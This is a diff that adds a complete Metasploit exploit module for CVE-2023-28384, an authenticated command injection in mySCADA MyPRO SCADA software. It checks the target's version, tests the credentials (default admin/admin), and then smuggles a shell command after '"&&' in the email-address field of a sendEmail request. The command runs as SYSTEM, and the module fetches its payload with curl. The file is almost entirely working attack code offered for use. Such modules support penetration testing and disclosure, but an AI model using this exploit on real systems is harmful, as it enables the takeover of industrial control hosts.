|
| 1 | +class MetasploitModule < Msf::Exploit::Remote |
| 2 | + Rank = ExcellentRanking |
| 3 | + include Msf::Exploit::Remote::HttpClient |
| 4 | + prepend Msf::Exploit::Remote::AutoCheck |
| 5 | + |
| 6 | + def initialize(info = {}) |
| 7 | + super( |
| 8 | + update_info( |
| 9 | + info, |
| 10 | + 'Name' => 'mySCADA MyPRO Authenticated Command Injection (CVE-2023-28384)', |
| 11 | + 'Description' => %q{ |
| 12 | + Authenticated Command Injection in MyPRO <= v8.28.0 from mySCADA. |
| 13 | + The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM. |
| 14 | + }, |
| 15 | + 'License' => MSF_LICENSE, |
| 16 | + 'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module |
| 17 | + 'References' => [ |
| 18 | + [ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-23-096-06'], |
| 19 | + [ 'CVE', '2023-28384'] |
| 20 | + ], |
| 21 | + 'DisclosureDate' => '2022-09-22', |
| 22 | + 'Platform' => 'win', |
| 23 | + 'Arch' => [ ARCH_CMD ], |
| 24 | + 'Targets' => [ |
| 25 | + [ |
| 26 | + 'Windows_Fetch', |
| 27 | + { |
| 28 | + 'Arch' => [ ARCH_CMD ], |
| 29 | + 'Platform' => 'win', |
| 30 | + 'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' }, |
| 31 | + 'Type' => :win_fetch |
| 32 | + } |
| 33 | + ] |
| 34 | + ], |
| 35 | + 'DefaultTarget' => 0, |
| 36 | + |
| 37 | + 'Notes' => { |
| 38 | + 'Stability' => [CRASH_SAFE], |
| 39 | + 'Reliability' => [REPEATABLE_SESSION], |
| 40 | + 'SideEffects' => [IOC_IN_LOGS] |
| 41 | + } |
| 42 | + ) |
| 43 | + ) |
| 44 | + |
| 45 | + register_options( |
| 46 | + [ |
| 47 | + OptString.new( |
| 48 | + 'USERNAME', |
| 49 | + [ true, 'The username to authenticate with (default: admin)', 'admin' ] |
| 50 | + ), |
| 51 | + OptString.new( |
| 52 | + 'PASSWORD', |
| 53 | + [ true, 'The password to authenticate with (default: admin)', 'admin' ] |
| 54 | + ), |
| 55 | + OptString.new( |
| 56 | + 'TARGETURI', |
| 57 | + [ true, 'The URI for the MyPRO web interface', '/' ] |
| 58 | + ) |
| 59 | + ] |
| 60 | + ) |
| 61 | + end |
| 62 | + |
| 63 | + # Determine if the MyPRO instance runs a vulnerable version |
| 64 | + def check |
| 65 | + begin |
| 66 | + res = send_request_cgi({ |
| 67 | + 'method' => 'POST', |
| 68 | + 'uri' => normalize_uri(target_uri.path, 'l.fcgi'), |
| 69 | + 'vars_post' => { |
| 70 | + 't' => '98' |
| 71 | + } |
| 72 | + }) |
| 73 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError |
| 74 | + return CheckCode::Unknown |
| 75 | + end |
| 76 | + |
| 77 | + if res && res.code == 200 |
| 78 | + data = res.get_json_document |
| 79 | + version = data['V'] |
| 80 | + if version.nil? |
| 81 | + return CheckCode::Unknown |
| 82 | + else |
| 83 | + vprint_status('Version retrieved: ' + version) |
| 84 | + end |
| 85 | + |
| 86 | + if Rex::Version.new(version) <= Rex::Version.new('8.28') |
| 87 | + return CheckCode::Appears |
| 88 | + else |
| 89 | + return CheckCode::Safe |
| 90 | + end |
| 91 | + else |
| 92 | + return CheckCode::Unknown |
| 93 | + end |
| 94 | + end |
| 95 | + |
| 96 | + def exploit |
| 97 | + execute_command(payload.encoded) |
| 98 | + end |
| 99 | + |
| 100 | + def execute_command(cmd) |
| 101 | + print_status('Checking credentials...') |
| 102 | + check_auth |
| 103 | + print_status('Sending command injection...') |
| 104 | + exec_mypro(cmd) |
| 105 | + print_status('Exploit finished, check thy shell.') |
| 106 | + end |
| 107 | + |
| 108 | + # Check if credentials are working |
| 109 | + def check_auth |
| 110 | + res = send_request_cgi({ |
| 111 | + 'method' => 'GET', |
| 112 | + 'uri' => normalize_uri(target_uri.path, 'sss2'), |
| 113 | + 'headers' => { |
| 114 | + 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) |
| 115 | + } |
| 116 | + }) |
| 117 | + |
| 118 | + unless res |
| 119 | + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') |
| 120 | + end |
| 121 | + case res.code |
| 122 | + when 200 |
| 123 | + print_good('Credentials are working.') |
| 124 | + when 401 |
| 125 | + fail_with(Failure::NoAccess, 'Unauthorized access. Are your credentials correct?') |
| 126 | + else |
| 127 | + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') |
| 128 | + end |
| 129 | + end |
| 130 | + |
| 131 | + # Send command injection |
| 132 | + def exec_mypro(cmd) |
| 133 | + post_data = { |
| 134 | + 'type' => 'sendEmail', |
| 135 | + 'addr' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com\"&&#{cmd}" |
| 136 | + } |
| 137 | + post_json = JSON.generate(post_data) |
| 138 | + |
| 139 | + res = send_request_cgi({ |
| 140 | + 'method' => 'POST', |
| 141 | + 'ctype' => 'application/json', |
| 142 | + 'data' => post_json, |
| 143 | + 'uri' => normalize_uri(target_uri.path, 'sss2'), |
| 144 | + 'headers' => { |
| 145 | + 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) |
| 146 | + } |
| 147 | + |
| 148 | + }) |
| 149 | + |
| 150 | + # We don't fail if no response is received, as the server will wait until the injected command got executed before returning a response. Typically, this will simply result in a 504 Gateway Time-out error after some time, but there is no indication on whether the injected payload got successfully executed or not from the server response. |
| 151 | + |
| 152 | + if res && res.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. |
| 153 | + print_good('Command successfully executed, check your shell.') |
| 154 | + end |
| 155 | + end |
| 156 | + |
| 157 | +end |
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